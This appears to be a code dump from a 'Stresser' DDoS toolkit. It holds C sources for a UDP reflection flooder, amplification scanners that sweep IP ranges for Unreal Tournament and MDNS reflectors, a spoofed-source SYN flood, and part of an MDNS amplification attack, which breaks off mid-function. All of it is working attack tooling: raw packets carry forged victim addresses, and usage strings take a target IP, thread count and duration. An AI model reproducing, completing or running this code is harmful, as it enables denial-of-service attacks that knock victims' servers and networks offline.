115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Stresser/Heartbleed/heartbleed_scanner.c:
--------------------------------------------------------------------------------
  1 | /* Heartbleed (Unreal Tournament) Amp Scanner */
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/in.h>
  9 | #include <signal.h>
 10 | #include <sys/time.h>
 11 | #include <sys/types.h>
 12 | #include <math.h>
 13 | #include <ctype.h>
 14 | #include <errno.h>
 15 | #include <arpa/inet.h>
 16 | #include <netinet/ip.h>
 17 | #include <netinet/udp.h>
 18 | 
 19 | volatile int running_threads = 0;
 20 | volatile int found_srvs = 0;
 21 | volatile unsigned long per_thread = 0;
 22 | volatile unsigned long start = 0;
 23 | volatile unsigned long scanned = 0;
 24 | volatile int sleep_between = 0;
 25 | volatile int scansize = 0;
 26 | volatile int bytes_sent = 0;
 27 | volatile unsigned long hosts_done = 0;
 28 | FILE *fd;
 29 | 
 30 | char payload[] = "\x5c\x73\x74\x61\x74\x75\x73\x5c";
 31 | size = 8;
 32 | 
 33 | void *flood(void *par1)
 34 | {
 35 |     running_threads++;
 36 |     int thread_id = (int)par1;
 37 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 38 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 39 |     unsigned long w;
 40 |     int y;
 41 |     unsigned char buf[65536];
 42 |     memset(buf, 0x01, 1);
 43 |     int sizeofpayload = 1;
 44 |     int sock;
 45 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 46 |         perror("cant open socket");
 47 |         exit(-1);
 48 |     }
 49 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 50 |     {
 51 |         struct sockaddr_in servaddr;
 52 |         bzero(&servaddr, sizeof(servaddr));
 53 |         servaddr.sin_family = AF_INET;
 54 |         servaddr.sin_addr.s_addr=htonl(w);
 55 |         servaddr.sin_port=htons(7778); //PORT TO SCAN
 56 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 57 |         bytes_sent+=size;
 58 |         scanned++;
 59 |         hosts_done++;
 60 |     }
 61 |     close(sock);
 62 |     running_threads--;
 63 |     return;
 64 | }
 65 | 
 66 | void sighandler(int sig)
 67 | {
 68 |     fclose(fd);
 69 |     printf("\n");
 70 |     exit(0);
 71 | }
 72 | 
 73 | void *recievethread()
 74 | {
 75 |     printf("\n");
 76 |     int saddr_size, data_size, sock_raw;
 77 |     struct sockaddr_in saddr;
 78 |     struct in_addr in;
 79 | 
 80 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 81 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 82 |     if(sock_raw < 0)
 83 |     {
 84 |         printf("Socket Error\n");
 85 |         exit(1);
 86 |     }
 87 |     while(1)
 88 |     {
 89 |         saddr_size = sizeof saddr;
 90 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 91 |         if(data_size <0 )
 92 |         {
 93 |             printf("Recvfrom error , failed to get packets\n");
 94 |             exit(1);
 95 |         }
 96 |         struct iphdr *iph = (struct iphdr*)buffer;
 97 |         if(iph->protocol == 17)
 98 |         {
 99 |             unsigned short iphdrlen = iph->ihl*4;
100 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
101 |             unsigned char* payload = buffer + iphdrlen + 8;
102 |             if(ntohs(udph->source) == 7778) //PORT TO SCAN
103 |             {
104 |                 int body_length = data_size - iphdrlen - 8;
105 | 
106 |                 if (body_length > scansize)
107 | 
108 |                 {
109 |                 found_srvs++;
110 | 
111 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
112 |                 fflush(fd);
113 | 
114 |                 }
115 | 
116 |             }
117 |         }
118 | 
119 |     }
120 |     close(sock_raw);
121 | 
122 | }
123 | 
124 | int main(int argc, char *argv[ ])
125 | {
126 | 
127 |     if(argc < 7){
128 | 		fprintf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
129 |         fprintf(stdout, "Usage  :   %s [START IP RANGE] [END] [.txt] [THREADS] [DELAY] [SIZE]\n", argv[0]);
130 |         exit(-1);
131 |     }
132 |     fd = fopen(argv[3], "a");
133 |     sleep_between = atoi(argv[5]);
134 | 
135 |     signal(SIGINT, &sighandler);
136 | 	scansize = atoi(argv[6]);
137 |     int threads = atoi(argv[4]);
138 |     pthread_t thread;
139 | 
140 |     pthread_t listenthread;
141 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
142 | 
143 |     char *str_start = malloc(18);
144 |     memset(str_start, 0, 18);
145 |     str_start = argv[1];
146 |     char *str_end = malloc(18);
147 |     memset(str_end, 0, 18);
148 |     str_end = argv[2];
149 |     start = inet_addr(str_start);
150 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
151 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
152 |     int i;
153 |     for(i = 0;i<threads;i++){
154 |         pthread_create( &thread, NULL, &flood, (void *) i);
155 |     }
156 |     sleep(1);
157 | 	printf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
158 |     printf("Scan in Progress \n");
159 |     char *temp = (char *)malloc(17);
160 |     memset(temp, 0, 17);
161 |     sprintf(temp, "IP Found");
162 |     printf("%-16s", temp);
163 |     memset(temp, 0, 17);
164 |     sprintf(temp, "IP/s");
165 |     printf("%-16s", temp);
166 |     memset(temp, 0, 17);
167 |     sprintf(temp, "Byts/s");
168 |     printf("%-16s", temp);
169 |     memset(temp, 0, 17);
170 |     sprintf(temp, "Threads");
171 |     printf("%-16s", temp);
172 |     memset(temp, 0, 17);
173 |     sprintf(temp, "Percent");
174 |     printf("%s", temp);
175 |     printf("\n");
176 | 
177 |     char *new;
178 |     new = (char *)malloc(16*6);
179 |     while (running_threads > 0)
180 |     {
181 |         printf("\r");
182 |         memset(new, '\0', 16*6);
183 |         sprintf(new, "%s|%-15lu", new, found_srvs);
184 |         sprintf(new, "%s|%-15d", new, scanned);
185 |         sprintf(new, "%s|%-15d", new, bytes_sent);
186 |         sprintf(new, "%s|%-15d", new, running_threads);
187 |         memset(temp, 0, 17);
188 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
189 |         sprintf(temp, "%d%%", percent_done);
190 |         sprintf(new, "%s|%s", new, temp);
191 |         printf("%s", new);
192 |         fflush(stdout);
193 |         bytes_sent=0;
194 |         scanned = 0;
195 |         sleep(1);
196 |     }
197 |     printf("\n");
198 |     fclose(fd);
199 |     return 0;
200 | }


--------------------------------------------------------------------------------
/Stresser/Improved SSYN/improved_ssyn_attack.c:
--------------------------------------------------------------------------------
  1 | // Improved SSYN Script - random ports, random flags. by SPAI3N.
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/tcp.h>
 10 | #include <time.h>
 11 | #define MAX_PACKET_SIZE 4096
 12 | #define PHI 0x9e3779b9
 13 | static unsigned long int Q[4096], c = 362436;
 14 | volatile int limiter;
 15 | volatile unsigned int pps;
 16 | volatile unsigned int sleeptime = 100;
 17 |  
 18 | void init_rand(unsigned long int x)
 19 | {
 20 | 		int i;
 21 | 		Q[0] = x;
 22 | 		Q[1] = x + PHI;
 23 | 		Q[2] = x + PHI + PHI;
 24 | 		for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 25 | }
 26 | unsigned long int rand_cmwc(void)
 27 | {
 28 | 		unsigned long long int t, a = 18782LL;
 29 | 		static unsigned long int i = 4095;
 30 | 		unsigned long int x, r = 0xfffffffe;
 31 | 		i = (i + 1) & 4095;
 32 | 		t = a * Q[i] + c;
 33 | 		c = (t >> 32);
 34 | 		x = t + c;
 35 | 		if (x < c) {
 36 | 				x++;
 37 | 				c++;
 38 | 		}
 39 | 		return (Q[i] = r - x);
 40 | }
 41 | unsigned short csum (unsigned short *buf, int count)
 42 | {
 43 | 		register unsigned long sum = 0;
 44 | 		while( count > 1 ) { sum += *buf++; count -= 2; }
 45 | 		if(count > 0) { sum += *(unsigned char *)buf; }
 46 | 		while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 47 | 		return (unsigned short)(~sum);
 48 | }
 49 |  
 50 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 51 |  
 52 | 		struct tcp_pseudo
 53 | 		{
 54 | 				unsigned long src_addr;
 55 | 				unsigned long dst_addr;
 56 | 				unsigned char zero;
 57 | 				unsigned char proto;
 58 | 				unsigned short length;
 59 | 		} pseudohead;
 60 | 		unsigned short total_len = iph->tot_len;
 61 | 		pseudohead.src_addr=iph->saddr;
 62 | 		pseudohead.dst_addr=iph->daddr;
 63 | 		pseudohead.zero=0;
 64 | 		pseudohead.proto=IPPROTO_TCP;
 65 | 		pseudohead.length=htons(sizeof(struct tcphdr));
 66 | 		int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 67 | 		unsigned short *tcp = malloc(totaltcp_len);
 68 | 		memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 69 | 		memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 70 | 		unsigned short output = csum(tcp,totaltcp_len);
 71 | 		free(tcp);
 72 | 		return output;
 73 | }
 74 |  
 75 | void setup_ip_header(struct iphdr *iph)
 76 | {
 77 | 		char ip[17];
 78 | 		snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
 79 | 		iph->ihl = 5;
 80 | 		iph->version = 4;
 81 | 		iph->tos = 0;
 82 | 		iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 83 | 		iph->id = htonl(rand()%54321);
 84 | 		iph->frag_off = 0;
 85 | 		iph->ttl = MAXTTL;
 86 | 		iph->protocol = 6;
 87 | 		iph->check = 0;
 88 | 		iph->saddr = inet_addr(ip);
 89 | }
 90 |  
 91 | void setup_tcp_header(struct tcphdr *tcph)
 92 | {
 93 | 		tcph->source = htons(rand()%65535);
 94 | 		tcph->seq = rand();
 95 | 		tcph->ack_seq = 0;
 96 | 		tcph->res1 = 0;
 97 | 		tcph->res2 = 0;
 98 | 		tcph->doff = 5;
 99 | 		tcph->psh = 0;
100 | 		tcph->syn = 1;
101 | 		tcph->window = htons(65535);
102 | 		tcph->check = 0;
103 | 		tcph->urg_ptr = 0;
104 | }
105 |  
106 | void *flood(void *par1)
107 | {
108 | 	char *td = (char *)par1;
109 | 	char datagram[MAX_PACKET_SIZE];
110 | 	struct iphdr *iph = (struct iphdr *)datagram;
111 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
112 |    
113 | 	struct sockaddr_in sin;
114 | 	sin.sin_family = AF_INET;
115 | 	sin.sin_port = htons(rand()%54321);
116 | 	sin.sin_addr.s_addr = inet_addr(td);
117 | 
118 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
119 | 	if(s < 0){
120 | 			fprintf(stderr, "Could not open raw socket.\n");
121 | 			exit(-1);
122 | 	}
123 | 	memset(datagram, 0, MAX_PACKET_SIZE);
124 | 	setup_ip_header(iph);
125 | 	setup_tcp_header(tcph);
126 | 	tcph->dest = htons(rand()%54321);
127 | 	iph->daddr = sin.sin_addr.s_addr;
128 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
129 | 	int tmp = 1;
130 | 	const int *val = &tmp;
131 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
132 | 			fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
133 | 			exit(-1);
134 | 	}
135 | 	init_rand(time(NULL));
136 | 	register unsigned int i;
137 | 	i = 0;
138 | 	int psh = 0;
139 | 	int res1 = 0;
140 | 	int res2 = 0;
141 | 	while(1)
142 | 	{
143 | 		if(psh > 1) psh = 1;
144 | 		if(res1 > 4) res1 = 0;
145 | 		if(res2 > 3) res2 = 0;
146 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
147 | 		setup_ip_header(iph);
148 | 		setup_tcp_header(tcph);
149 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
150 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
151 | 		tcph->dest = htons(rand()%65535);
152 | 		iph->daddr = sin.sin_addr.s_addr;
153 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
154 | 		tcph->seq = rand_cmwc() & 0xFFFF;
155 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
156 | 		tcph->ack_seq = 1;
157 | 		tcph->psh = psh;
158 | 		tcph->res1 = res1;
159 | 		tcph->res2 = res2;
160 | 		tcph->check = 0;
161 | 		tcph->check = tcpcsum(iph, tcph);
162 | 		pps++;
163 | 		psh++;
164 | 		res1++;
165 | 		res2++;
166 | 		if(i >= limiter)
167 | 		{
168 | 				i = 0;
169 | 				usleep(sleeptime);
170 | 		}
171 | 		i++;
172 | 	}
173 | }
174 | int main(int argc, char *argv[ ])
175 | {
176 | 		if(argc < 5){
177 | 				fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
178 | 				exit(-1);
179 | 		}
180 | 		srand(time(0)); 
181 | 		int num_threads = atoi(argv[2]);
182 | 		int maxpps = atoi(argv[3]);
183 | 		limiter = 0;
184 | 		pps = 0;
185 | 		pthread_t thread[num_threads];  
186 | 		int multiplier = 20;
187 | 		int i;
188 | 		fprintf(stderr, "Start flooding ...\n", argv[1]);
189 | 		for(i = 0;i<num_threads;i++){
190 | 				pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
191 | 		}
192 | 		fprintf(stderr, "Flooding: %s\n", argv[1]);
193 | 		for(i = 0;i<(atoi(argv[4])*multiplier);i++)
194 | 		{
195 | 				usleep((1000/multiplier)*1000);
196 | 				if((pps*multiplier) > maxpps)
197 | 				{
198 | 						if(1 > limiter)
199 | 						{
200 | 								sleeptime+=100;
201 | 						} else {
202 | 								limiter--;
203 | 						}
204 | 				} else {
205 | 						limiter++;
206 | 						if(sleeptime > 25)
207 | 						{
208 | 								sleeptime-=25;
209 | 						} else {
210 | 								sleeptime = 0;
211 | 						}
212 | 				}
213 | 				pps = 0;
214 | 		}
215 |  
216 | 		return 0;
217 | }


--------------------------------------------------------------------------------
/Stresser/MDNS/mdns_amp_scanner.c:
--------------------------------------------------------------------------------
  1 | /* MDNS Amplification scanner, made by -Shroom-, credits to whoever made this scanner source because I have no idea. */
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/in.h>
  9 | #include <signal.h>
 10 | #include <sys/time.h>
 11 | #include <sys/types.h>
 12 | #include <math.h>
 13 | #include <ctype.h>
 14 | #include <errno.h>
 15 | #include <arpa/inet.h>
 16 | #include <netinet/ip.h>
 17 | #include <netinet/udp.h>
 18 | 
 19 | volatile int running_threads = 0;
 20 | volatile int found_srvs = 0;
 21 | volatile unsigned long per_thread = 0;
 22 | volatile unsigned long start = 0;
 23 | volatile unsigned long scanned = 0;
 24 | volatile int sleep_between = 0;
 25 | volatile int bytes_sent = 0;
 26 | volatile unsigned long hosts_done = 0;
 27 | FILE *fd;
 28 | char payload[] =
 29 | "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01";
 30 | 
 31 | size = sizeof(payload);
 32 | 
 33 | void *flood(void *par1)
 34 | {
 35 |     running_threads++;
 36 |     int thread_id = (int)par1;
 37 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 38 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 39 |     unsigned long w;
 40 |     int y;
 41 |     unsigned char buf[65536];
 42 |     memset(buf, 0x01, 46);
 43 |     int sizeofpayload = 46;
 44 |     int sock;
 45 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 46 |         perror("cant open socket");
 47 |         exit(-1);
 48 |     }
 49 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 50 |     {
 51 |         struct sockaddr_in servaddr;
 52 |         bzero(&servaddr, sizeof(servaddr));
 53 |         servaddr.sin_family = AF_INET;
 54 |         servaddr.sin_addr.s_addr=htonl(w);
 55 |         servaddr.sin_port=htons(5353);
 56 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 57 |         bytes_sent+=size;
 58 |         scanned++;
 59 |         hosts_done++;
 60 |     }
 61 |     close(sock);
 62 |     running_threads--;
 63 |     return;
 64 | }
 65 | 
 66 | void sighandler(int sig)
 67 | {
 68 |     fclose(fd);
 69 |     printf("\n");
 70 |     exit(0);
 71 | }
 72 | 
 73 | void *recievethread()
 74 | {
 75 |     printf("\n");
 76 |     int saddr_size, data_size, sock_raw;
 77 |     struct sockaddr_in saddr;
 78 |     struct in_addr in;
 79 | 
 80 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 81 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 82 |     if(sock_raw < 0)
 83 |     {
 84 |         printf("Socket Error\n");
 85 |         exit(1);
 86 |     }
 87 |     while(1)
 88 |     {
 89 |         saddr_size = sizeof saddr;
 90 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 91 |         if(data_size <0 )
 92 |         {
 93 |             printf("Recvfrom error , failed to get packets\n");
 94 |             exit(1);
 95 |         }
 96 |         struct iphdr *iph = (struct iphdr*)buffer;
 97 |         if(iph->protocol == 17)
 98 |         {
 99 |             unsigned short iphdrlen = iph->ihl*4;
100 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
101 |             unsigned char* payload = buffer + iphdrlen + 46;
102 |             if(ntohs(udph->source) == 5353)
103 |             {
104 |                 int body_length = data_size - iphdrlen - 46;
105 | 
106 |                 if (body_length > 40)
107 | 
108 |                 {
109 |                 found_srvs++;
110 | 
111 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
112 |                 fflush(fd);
113 | 
114 |                 }
115 | 
116 |             }
117 |         }
118 | 
119 |     }
120 |     close(sock_raw);
121 | 
122 | }
123 | 
124 | int main(int argc, char *argv[ ])
125 | {
126 | 
127 |     if(argc < 6){
128 | 		fprintf(stderr, "Invalid parameters!\n");
129 |         fprintf(stdout, "Shrooms MDNS Scanner\nUsage: %s <ip range start (192.0.0.0)> <ip range end (198.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
130 |         exit(-1);
131 |     }
132 |     fd = fopen(argv[3], "a");
133 |     sleep_between = atoi(argv[5]);
134 | 
135 |     signal(SIGINT, &sighandler);
136 | 
137 |     int threads = atoi(argv[4]);
138 |     pthread_t thread;
139 | 
140 |     pthread_t listenthread;
141 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
142 | 
143 |     char *str_start = malloc(18);
144 |     memset(str_start, 0, 18);
145 |     str_start = argv[1];
146 |     char *str_end = malloc(18);
147 |     memset(str_end, 0, 18);
148 |     str_end = argv[2];
149 |     start = inet_addr(str_start);
150 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
151 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
152 |     int i;
153 |     for(i = 0;i<threads;i++){
154 |         pthread_create( &thread, NULL, &flood, (void *) i);
155 |     }
156 |     sleep(1);
157 |     printf("Scan in Progress \n");
158 |     char *temp = (char *)malloc(17);
159 |     memset(temp, 0, 17);
160 |     sprintf(temp, "MDNS Found");
161 |     printf("%-16s", temp);
162 |     memset(temp, 0, 17);
163 |     sprintf(temp, "IP/s");
164 |     printf("%-16s", temp);
165 |     memset(temp, 0, 17);
166 |     sprintf(temp, "Bytes/s");
167 |     printf("%-16s", temp);
168 |     memset(temp, 0, 17);
169 |     sprintf(temp, "Threads");
170 |     printf("%-16s", temp);
171 |     memset(temp, 0, 17);
172 |     sprintf(temp, "Percent Done");
173 |     printf("%s", temp);
174 |     printf("\n");
175 | 
176 |     char *new;
177 |     new = (char *)malloc(16*6);
178 |     while (running_threads > 0)
179 |     {
180 |         printf("\r");
181 |         memset(new, '\0', 16*6);
182 |         sprintf(new, "%s|%-15lu", new, found_srvs);
183 |         sprintf(new, "%s|%-15d", new, scanned);
184 |         sprintf(new, "%s|%-15d", new, bytes_sent);
185 |         sprintf(new, "%s|%-15d", new, running_threads);
186 |         memset(temp, 0, 17);
187 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
188 |         sprintf(temp, "%d%%", percent_done);
189 |         sprintf(new, "%s|%s", new, temp);
190 |         printf("%s", new);
191 |         fflush(stdout);
192 |         bytes_sent=0;
193 |         scanned = 0;
194 |         sleep(1);
195 |     }
196 |     printf("\n");
197 |     fclose(fd);
198 |     return 0;
199 | }


--------------------------------------------------------------------------------
/Stresser/MDNS/mdns_attack.c:
--------------------------------------------------------------------------------
  1 | /* MDNS Amplification */
  2 |  
  3 | /* Made by -Shroom-, credit me cus im swag for payload and idk for original script. */
  4 |  
  5 | #include <time.h>
  6 | #include <pthread.h>
  7 | #include <unistd.h>
  8 | #include <stdio.h>
  9 | #include <stdlib.h>
 10 | #include <string.h>
 11 | #include <sys/socket.h>
 12 | #include <netinet/ip.h>
 13 | #include <netinet/udp.h>
 14 | #include <arpa/inet.h>
 15 | #define MAX_PACKET_SIZE 8192
 16 | #define PHI 0x9e3779b9
 17 | static uint32_t Q[4096], c = 362436;
 18 | struct list
 19 | {
 20 |         struct sockaddr_in data;
 21 |         struct list *next;
 22 |         struct list *prev;
 23 | };
 24 | struct list *head;
 25 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 26 | void init_rand(uint32_t x)
 27 | {
 28 |         int i;
 29 |         Q[0] = x;
 30 |         Q[1] = x + PHI;
 31 |         Q[2] = x + PHI + PHI;
 32 |         for (i = 3; i < 4096; i++)
 33 |         {
 34 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 35 |         }
 36 | }
 37 |  
 38 | uint32_t rand_cmwc(void)
 39 | {
 40 |         uint64_t t, a = 18782LL;
 41 |         static uint32_t i = 4095;
 42 |         uint32_t x, r = 0xfffffffe;
 43 |         i = (i + 1) & 4095;
 44 |         t = a * Q[i] + c;
 45 |         c = (t >> 32);
 46 |         x = t + c;
 47 |         if (x < c) {
 48 |                 x++;
 49 |                 c++;
 50 |         }
 51 |         return (Q[i] = r - x);
 52 | }
 53 |  
 54 | /* function for header checksums */
 55 | unsigned short csum (unsigned short *buf, int nwords)
 56 | {
 57 |         unsigned long sum;
 58 |         for (sum = 0; nwords > 0; nwords--)
 59 |         sum += *buf++;
 60 |         sum = (sum >> 16) + (sum & 0xffff);
 61 |         sum += (sum >> 16);
 62 |         return (unsigned short)(~sum);
 63 | }
 64 |  
 65 | void setup_ip_header(struct iphdr *iph)
 66 | {
 67 |       iph->ihl = 5;
 68 |       iph->version = 4;
 69 |       iph->tos = 0;
 70 |       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 46;
 71 |       iph->id = htonl(54321);
 72 |       iph->frag_off = 0;
 73 |       iph->ttl = MAXTTL;
 74 |       iph->protocol = IPPROTO_UDP;
 75 |       iph->check = 0;
 76 |       iph->saddr = inet_addr("192.168.3.100");
 77 | }
 78 | 
 79 | void setup_udp_header(struct udphdr *udph)
 80 | {
 81 |       udph->source = htons(5678);
 82 |       udph->dest = htons(5353);
 83 |       udph->check = 0;
 84 |       memcpy((void *)udph + sizeof(struct udphdr), "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", 46);
 85 |       udph->len=htons(sizeof(struct udphdr) + 46);
 86 | }
 87 |  
 88 | void *flood(void *par1)
 89 | {
 90 |         struct thread_data *td = (struct thread_data *)par1;
 91 |         char datagram[MAX_PACKET_SIZE];
 92 |         struct iphdr *iph = (struct iphdr *)datagram;
 93 |         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 94 |         struct sockaddr_in sin = td->sin;
 95 |         struct  list *list_node = td->list_node;
 96 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 97 |         if(s < 0){
 98 |                 fprintf(stderr, "Could not open raw socket.\n");
 99 |                 exit(-1);
100 |         }
101 |         init_rand(time(NULL));
102 |         memset(datagram, 0, MAX_PACKET_SIZE);
103 |         setup_ip_header(iph);
104 |         setup_udp_header(udph);
105 |         udph->source = sin.sin_port;
106 |         iph->saddr = sin.sin_addr.s_addr;
107 |         iph->daddr = list_node->data.sin_addr.s_addr;
108 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
109 |         int tmp = 1;
110 |         const int *val = &tmp;
111 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
112 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
113 |                 exit(-1);
114 |         }
115 |         int i=0;
116 |         while(1){
117 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
118 |                 list_node = list_node->next;
119 |                 iph->daddr = list_node->data.sin_addr.s_addr;
120 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121 |                 if(i==5)
122 |                 {
